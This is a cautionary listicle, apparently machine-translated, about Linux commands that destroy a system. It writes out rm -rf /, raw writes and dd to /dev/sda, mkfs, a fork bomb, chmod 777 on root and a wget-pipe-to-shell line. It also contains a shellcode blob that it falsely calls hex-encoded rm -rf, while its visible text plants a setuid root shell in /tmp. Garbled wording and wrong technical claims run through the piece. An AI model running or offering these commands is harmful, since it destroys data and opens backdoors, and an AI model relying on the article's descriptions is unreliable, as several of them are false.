10 Linux commands that can destroy your system

As we know, Linux users have a variety of commands and tools that allow you to flexibly configure and control every aspect of the OS. However, with great power comes great responsibility – there are many commands that can disrupt the normal operation of Linux and lead to sad consequences.

So let’s figure out together which Linux commands should not be entered under any circumstances.

The Killer rm-rf team /*

rm -rf /* is the most favorite team among Internet trolls who like to cruelly mock newcomers by throwing this team into various discussions and chats. Let’s study it in more detail:

rm – command to delete files/directories;

-r – flag required for recursive deletion of all files inside a folder;

-f – flag that allows you to perform the operation without the user’s request.

Without root rights, this command will not do any harm. Even sudo rm -rf/ will not create any problems, since most popular distributions have protection against executing this command. The –preserve-root function is responsible for this.

However, if you still want to execute this command, you have two options:

with protection disabled: sudo rm -rf / –no-preserve-root

and simpler: sudo rm -rf /*

After execution, the system will start recursively deleting all files in general, starting from the root directory, until the system freezes with the message “Error deleting file”. After a reboot, Linux usually throws a grub-rescue error.

/dev/sda – destroy the file system!

Users familiar with file systems probably know what >/dev/sda is. This line runs the command and sends the result of its operation directly to the hard disk, writing data directly to it, thereby damaging the file system. Here is an example:

echo “Hello” > /dev/sda

The command will replace the section containing all the data needed to boot the system with the string “Hello”.

mv~/dev/null or how to send all your data to the abyss

There is an abyss inside every Linux system. And this abyss is /dev/null. Anything that ends up in this area will be permanently deleted. Let’s analyze this command as well:

mv – required to transfer files and directories to the specified location;

~ – pointer to the home directory;

/dev/null – moves the home directory to the /dev/null device, thereby destroying all your files and deleting copies of the originals.

And although the system will not give an error and will work properly, after executing mv ~ /dev/null, all user data will disappear without a trace.

Format the hard drive using mkfs.ext3 /dev/sda

A command similar to format c: on Windows. It is arranged quite simply:

mkfs.ex3 – creates a new ext3 file system on the device;

/dev/sda – points to the hard disk.

That’s it! A simple command leaves the user without all the data.

Fork bomb: simple but dangerous

:(){:|:&};: – a combination of special characters, as if chosen at random. However, it is powerful enough to stop a running system by simply taking up all available resources.

It works extremely simply – it creates a function that runs two more of its instances, which will then repeat this process. And this will continue until the process takes up all the physical memory of the computer, causing it to hang.

command > config_filename – overwriting important configuration files

With command > config_filename, everything is simple – it just clears the contents of the configuration file and writes new data to it. Thus, you can easily damage the system by accidentally overwriting an important configuration file.

Molotov cocktail recipe for root partitions – dd if=/dev/random of=/dev/sda

Everything is simple here – the team clogs the computer’s memory with garbage. And here’s how she does it:

dd is a low–level copy tool;

if=/dev/random – sets /dev/random as input;

of=/dev/sda – outputs data to the hard disk.

A powerful computer is able to withstand this command, but weak systems can suffer very much.

chmod -R 777/ – the command for those who have nothing to hide

chmod -R 777/ opens access to all files located in the root partition. This is not very good, since after executing the command, any user has the rights to read, write and execute any files.

If you like to take risks, launch wget http://вредоносный_сайт -O-|sh

A command that allows you to download and execute a script taken from a website on the Internet. In this case, if the script turns out to be malicious, then the security of the entire user’s system will be at risk, because the team will execute it with root rights, without even asking for permission to execute.

Finally, the most unusual thing is the disguised rm-rf /*

Linux allows you to run commands in the terminal in a variety of ways. One of them is entering a command in hexadecimal code.

Example:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

“\x6e\x2f\x73\x68\x00\x2d\x63\x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

Despite the unusual appearance, this command is hexadecimal rm -rf/*. So be careful copying unusual commands!

Let’s summarize the results

Remember that you are responsible for the consequences of rash execution of dangerous commands. After all, the job of UNIX is not to prevent you from shooting yourself in the foot. And the fact is that if you decide to do this, send a bullet to your leg in the most effective way that she has.

This applies to Linux to the same extent. You get full control over your system and only you decide what to do with it.